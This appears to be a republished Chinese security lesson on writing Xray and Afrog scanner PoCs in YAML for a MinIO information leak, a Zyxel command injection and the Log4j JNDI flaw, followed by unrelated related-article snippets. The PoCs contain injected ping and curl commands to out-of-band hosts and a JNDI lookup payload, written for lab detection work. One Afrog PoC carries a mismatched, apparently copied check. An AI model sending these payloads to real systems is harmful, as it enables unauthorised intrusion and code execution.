Day103:漏洞发现-漏扫项目篇Poc开发Rule语法反链判断不回显检测Yaml生成

目录

Xray&Afrog-Poc开发-环境配置&编写流程

Xray-Poc开发-数据回显&RCE不回显&实验室

Afrog-Poc开发-数据回显&RCE不回显&JDNI注入

HTTP/S数据回显Poc开发-CVE-2023-28432

HTTP/S不回显RCE-Poc开发-CVE-2022-30525

HTTP/S不回显JNDI-Poc开发


知识点:

1、Xray&Afrog-Poc开发-环境配置&编写流程

2、Xray-Poc开发-数据回显&RCE不回显&实验室

3、Afrog-Poc开发-数据回显&RCE不回显&JDNI注入

Xray&Afrog-Poc开发-环境配置&编写流程

开发环境:Vscode+Yaml插件

https://code.visualstudio.com/

Xray-Poc开发-数据回显&RCE不回显&实验室

1、开发参考:
xray poc模板生成(类似nuclei bp插件):https://poc.xray.cool/
xray poc官方参考:https://docs.xray.cool/plugins/practice/poc/Template
Xray Poc如何编写:https://mp.weixin.qq.com/s/XeF10F5xw19AymX34vALIw
https://cloud.tencent.com/developer/article/1949351

2、分析技巧:配置config.yaml,使用代理看数据包分析(记得生成证书及安装)

3、调试Poc:

.\xray --log-level debug webscan --poc .\test.yaml --url https://xx.xx.xx.xx:xxxx

第一部分:# 名称部分

name: string                 
poc名称如:poc-yaml-tongda-oa-rce

第二部分:rules: []Rule # 脚本部分

poc规则:poc请求路径,请求内容,回显信息都由此匹配
method: string 请求方法
path: string 请求的完整Path,包括querystring等
headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中
body: string 请求的Body
follow_redirects: bool 是否允许跟随300跳转
expression: string
search: string
method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包
expression的作用是判断该条Rule的结果
search的作用是从返回包中提取信息

第三部分:# 信息部分

detail: map[string]string    
就是平时xray扫描得到漏洞时xray返回的那一串爆红信息

1、有回显匹配结果自动判断-CVE-2023-28432
https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md

# 名称部分
name: poc-yaml-CVE-2023-28432# 脚本部分
transport: http
rules:r1:request:method: POSTpath: "/minio/bootstrap/v1/verify"headers:Content-Type: application/x-www-form-urlencodedexpression: |response.status==200 && response.body_string.contains("MINIO_ROOT_PASSWORD")
expression:r1()# 信息部分
detail:author: xiaodiseclinks: - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md

2、无回显直接写死,观察平台回显判断是否存在漏洞-CVE-2022-30525
https://blog.csdn.net/weixin_43080961/article/details/124776553

name: poc-yaml-CVE-2022-30525
manual: true
transport: http
rules:r0:request:method: POSTpath: /ztp/cgi-bin/handlerbody: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 nml0kn.dnslog.cn;","data":"hi"}'headers:Content-Type: application/jsonexpression: response.status==200
expression: r0()
detail:author: xiaodiseclinks:- https://blog.csdn.net/weixin_43080961/article/details/124776553

3、反连写法及启动配置(解决无回显RCE及其他)

参考地址:https://blog.csdn.net/m0_60571842/article/details/135591127

name: poc-yaml-CVE-2022-30525
manual: true
set:reverse: newReverse()reverseURL: reverse.urlreverseDomain: reverse.domain
transport: http
rules:r0:request:cache: truemethod: POSTpath: /ztp/cgi-bin/handlerbody: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl {{reverseURL}};","data":"hi"}'headers:Content-Type: application/jsonexpression: reverse.wait(5) //这里的写法决定了工具能不能探测出来
expression: r0()
detail:author: xiaodiseclinks:- http://www.xiaodi8.com

Afrog-Poc开发-数据回显&RCE不回显&JDNI注入

1、开发参考:https://github.com/zan8in/afrog/wiki

2、分析技巧:执行加入参数proxy,使用代理看数据包分析

3、指定Poc:

afrog.exe -t https://xx.xx.xx.xx -P xxxx.yaml

第一部分:id info 编号 信息(类似nuclei)
第二部分:set rules 变量 脚本(类似xray)
第三部分:expression 判断 执行(类似xray)
 

HTTP/S数据回显Poc开发-CVE-2023-28432

环境:MinIO集群模式信息泄露漏洞(CVE-2023-28432)

https://vulhub.org/#/environments/minio/CVE-2023-28432/

测试:

afrog.exe -t https://xx.xx.xx.xx:xxxx -P minio.yaml
id: CVE-2023-28432
info:name: My PoC demo1author: xiaodisecseverity: critical
rules:r0:request:method: POSTpath: /minio/bootstrap/v1/verifyheaders:Content-Type: application/x-www-form-urlencodedexpression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')
expression: r0()

HTTP/S不回显RCE-Poc开发-CVE-2022-30525

环境:某案例 Zyxel 防火墙远程命令注入漏洞
配置:配置afrog-config.yaml ceye对应信息
测试:

afrog.exe -t https://xx.xx.xx.xx:xxxx -P zyxel.yaml
id: CVE-2022-30525
info:name: My PoC demo2author: xiaodisecseverity: critical
rules:r0:request:method: POSTpath: /ztp/cgi-bin/handlerbody: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 cbvq0q.dnslog.cn;","data":"hi"}'headers:Content-Type: application/jsonexpression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')
expression: r0()

id: CVE-2022-30525
info:name: My PoC demo3author: xiaodisecseverity: critical
set:reverse: newReverse()reverseURL: reverse.urlreverseDomain: reverse.domainrules:r0:request:method: POSTpath: /ztp/cgi-bin/handlerbody: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 {{reverseURL}};","data":"hi"}'headers:Content-Type: application/jsonexpression: reverse.wait(100)  //这里的写法决定了工具能不能探测出来
expression: r0()

这里就会调用自己配置文件里的相关反连平台

HTTP/S不回显JNDI-Poc开发

环境:Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)
https://vulhub.org/#/environments/log4j/CVE-2021-44228/

配置:
启动jndi-payload利用:

java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456

afrog-config.yaml 里配置JNDI对应信息

测试:

afrog -t http://192.168.139.128:8983 -P log4j.yaml
id: solr-log4j-rce
info:name: Apache Solr Log4j Remote Code Executionauthor: xiaodisecseverity: criticalverified: truecreated: 2023/10/16
set:reverse: newJNDI()jndiURL: reverse.url.host + reverse.url.path
rules:r0:request:method: GETpath: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=jsonexpression: reverse.jndi(5)
expression: r0()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/816881.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Upload-labs(Pass-14 - Pass-16)

Pass-14 (图片马,判断文件类型) 图片的格式在防护中通常是不会使用后缀进行判断的依据,文件头是文件开头的一段二进制码,不同类型的图片也就会有不同的二进制头。   JPEG (jpg),文件头:FF D…

比较有用的C++编译错误解决方法

学习VC++时经常会遇到链接错误LNK2001,该错误非常讨厌,因为对于编程者来说,最好改的错误莫过于编译错误,而一般说来发生连接错误时,编译都已通过。产生连接错误的原因非常多,尤其LNK…

便携式污水采样器的工作环境要求

便携式污水采样器的工作环境要求极为严格,以确保其能够准确、稳定地采集和分析水样。首先,该采样器必须在干燥、通风良好的环境中工作,以避免潮湿和高温对其内部电子元件的损害。同时,为了保证采样器的稳定性和精度,工…

【数据结构(六)】队列

❣博主主页: 33的博客❣ ▶️文章专栏分类:数据结构◀️ 🚚我的代码仓库: 33的代码仓库🚚 🫵🫵🫵关注我带你学更多数据结构知识 目录 1.前言2.概念3.队列的使用4.循环队列5.双端队列6.经典习题6.1队列实现栈6.2栈实现队…

MySQL批量修改记录

我们知道MySQL支持批量添加记录,用法也比较简单,不过需要编码需要注意一下,因为很容易搞错 var jargs require(./argspw.json); const mysql require("mysql"); const mysqlpool mysql.createPool({host:jargs.mysqlip,user:jar…

一款挺不错网站维护页面HTML源码

一款挺不错网站维护页面源码,单HTML不需要数据库,上传到你的虚拟机就可以用做维护页面还不错,用处多。。 源码下载 一款挺不错网站维护页面源码

Ajax使用异步对象发送请求简介

​ 文章目录 一、什么是Ajax二、全局刷新和局部刷新二、Ajax中使用XMLHttpRequest对象(Ajax核心步骤)1、创建异步对象2、给异步对象绑定事件3、异步对象的属性 readyState 表示异步对象请求的状态变化4、初始异步请求对象5、使用异步对象发送请求6、jso…

Android DB锁问题

并发访问事务 在Android中使用SQLite数据库时,如果多个线程尝试同时对同一个数据库开启事务,可能会遇到几个问题: 锁定异常 (android.database.sqlite.SQLiteDatabaseLockedException): 如果一个线程已经在数据库上持有一个写事务&#xff0…

LangChain LangServe 学习笔记

LangChain LangServe 学习笔记 0. 引言1. LangServe 概述2. 特性3. 限制4. 安装5. 示例应用程序6. OpenAPI文档7. Python SDK 客户端8. Playground9. 聊天可运行页面 0. 引言 使用 LangServe 可以立即将您的LLM应用程序变成 API 服务器。 LangServe 使用 FastAPI 构建&#x…

three.js(1):three.js简介

1 什么是three.js three.js,一个WebGL引擎,基于JavaScript,可直接运行GPU驱动游戏与图形驱动应用于浏览器。其库提供的特性与API以绘制3D场景于浏览器。 2 下载地址 three.js下载地址:https://github.com/mrdoob/three.js 3 目录介绍 下载…

【题目】【信息安全管理与评估】2022年国赛高职组“信息安全管理与评估”赛项样题5

【题目】【信息安全管理与评估】2022年国赛高职组“信息安全管理与评估”赛项样题5 第一阶段竞赛项目试题 本文件为信息安全管理与评估项目竞赛-第一阶段试题,第一阶段内容包括:网络平台搭建与设备安全防护。 本次比赛时间为180分钟。 介绍 竞赛阶段…

浅谈函数 fscanf/sscanf 和 fprintf/sprintf

目录 一,fprintf 的介绍和使用1. 函数介绍2. 函数使用 二,fscanf 的介绍和使用1. 函数介绍2. 函数使用 三,sprintf 的介绍和使用1. 函数介绍2. 函数使用 四,sscanf 的介绍和使用1,函数介绍2,函数使用 五&am…

SSL Pinning之双向认证

双向认证处理流程 概述获取证书逆向app 获取证书的KeyStore的 key通过jadx 反编译 app 获取证书:frida hook 证书转换命令行转换portecle 工具使用 charles 配置 p12 格式证书 概述 本篇只介绍怎么解决ssl pinning, 不讲ssl/tls 原理。 为了解决ssl pinn…

BCrypt实现信息加密

1.BCrypt的概述 bcrypt 是一种密码哈希函数,通常用于加密密码。它采用了 Blowfish 加密算法的变种,并结合了盐(salt)和密钥延时(key stretching)等技术,以增加密码破解的难度。 2.BCrypt的使用…

RT-Thread 多级目录 scons 构建

前言 RT-Thread 默认使用 scons 进行工程的构建,虽然 RT-Thread BSP 中的 hello world 例程比较简单,实际项目开发,可能源码的工程会由多级目录,如何让多级的目录参与构建? scons 构建时,除了依赖工程的根…

基于R语言实现的beta二项回归模型【理解与实现】

本实验,创建一组使用二项分布模拟的数据(不带额外的随机性),和另一组使用Beta二项分布模拟的数据(引入了随机成功概率 p,从而增加了数据的离散性。 现在假设我们站在上帝视角,有两组不知道分布…

【C语言】结构体structure

【C语言】结构体structure: C语言可以自定义数据类型。结构体是其中一个自定义的数据类型。结构体类型是复杂的数据类型,将多个不同数据按一定功能进行整体封装,用一个名称来给结构体命名。可用typedef为结构体提供别名。关键字struct。结构…

Android中协程的理解

Android中的协程是一种轻量级的并发编程结构,它允许在子线程中挂起和恢复运行。协程的主要目标是提高多线程编程的效率和可读性,特别是在需要频繁切换任务或操作的数据驱动的场景中。 理解协程需要理解其核心概念:任务、线程和状态。 任务&…

Qt 中默认代码

目录 主函数 widget的声明 widget的定义 form file .pro 文件 主函数 #include "widget.h" ​ #include <QApplication> ​ int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 上面就是 Qt 刚创建的一…

机器学习-随机森林温度预测模型优化

文章目录 前言旧模型训练新模型训练参数查看组合参数训练学习模型评估 前言 在机器学习-随机森林算法预测温度一文中&#xff0c;通过增大模型训练数据集和训练特征的方式去优化模型的性能&#xff0c;本文将记录第三方种优化方式&#xff0c;通过调整随机森林创建模型参数的方…